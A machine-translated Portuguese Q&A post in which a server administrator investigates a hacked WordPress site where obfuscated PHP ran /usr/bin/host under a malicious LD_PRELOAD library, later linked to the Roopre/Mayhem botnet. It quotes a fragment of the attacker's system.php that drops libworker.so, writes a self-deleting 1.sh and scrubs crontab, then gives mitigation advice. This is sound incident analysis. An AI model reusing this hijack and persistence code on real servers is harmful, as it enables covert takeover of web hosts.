/ usr / bin / host executado por script PHP hackeado

Hoje, notei uma alta taxa de solicitações incomum no servidor da web Apache e também um tráfego de rede de entrada bastante alto. Ao verificar a página mod_status do Apache, encontrei os URLs ofensivos como path www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/. E, de fato, eu encontrei vários scripts PHP hackeados (ofuscados) lá.

Também notou um processo estranho executado pelo usuário www-data:

www-data  7300 10.8  0.1 2122900 18768 ?       Ssl  Jul11 121:47 /usr/bin/host

A verificação /proc/7300/cmdlinerevelou que, de fato, este é o /usr/bin/hostbinário original . netstat -anpmostrou que tem muitas conexões HTTP abertas, de alguma forma que o binário é abusado. debsumsconfirmou que a soma de verificação binária está OK. Como o processo foi executado no usuário www-data, não tive motivos para acreditar que o próprio servidor estava comprometido.

Como esse binário é abusado?

Edição: Esta questão não é ampla "como lidar com o servidor comprometido". Antes, uma pergunta (e já uma resposta) sobre um tipo específico de abuso, como é tecnicamente feito, pois esse caso em particular é bastante criativo na maneira como funciona. Parece que isso está no ar há vários anos (tópicos e perguntas antigas de 2012) e eu o encontrei esta semana.

Depois de pesquisar os códigos-fonte dos scripts PHP ofendidos e pesquisar no Google ( este tópico ), encontrei uma explicação.

Isso faz parte do system.phpcódigo que eu encontrei:

<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...

O /usr/bin/hostenvolvimento está um pouco mais avançado. Os programas usam bibliotecas ( .soarquivos) para algumas de suas funções. Os usuários podem pré-vincular ( LD_PRELOAD) alguns arquivos .so antes de iniciar um binário legítimo para alterar como ele age.

Como você pode ver, esse script cria um arquivo libworker.soe usa LD_PRELOADa variável de ambiente para pré-carregá-lo; portanto, o hostbinário legítimo está fazendo algo totalmente diferente.

Ele cria um 1.shshell script e tenta executá-lo de várias maneiras (diretamente, usando o atcomando, usando o cron). Imediatamente após isso, ele remove o script e o arquivo da biblioteca do disco, para que não seja notado.

O que aconteceu em primeiro lugar foi que algum plugin vulnerável do Wordpress foi abusado e o atacante foi capaz de colocar seus arquivos em diretórios de escrita por palavras.

Mitigação significa analisar arquivos de log de acesso antigos para esse domínio e tentar encontrar POSTsolicitações para locais incomuns - por exemplo, acessar diretamente os arquivos PHP do plugin WP / Joomla é incomum. Em seguida, remova todos os arquivos PHP ofuscados encontrados, corrija as permissões de diretório, encerre os hostprocessos em execução e monitore os arquivos de log para qualquer tentativa de re-hacks.

EDIT: Eu tenho informações da ESET que eles já detectam essa biblioteca específica e também outras versões. As empresas de antivírus dão o nome de Roopre e parece que ele é usado como parte da botnet Mayhem .

Análise aprofundada da botnet Mayhem.

Análise aprofundada dessa exploração.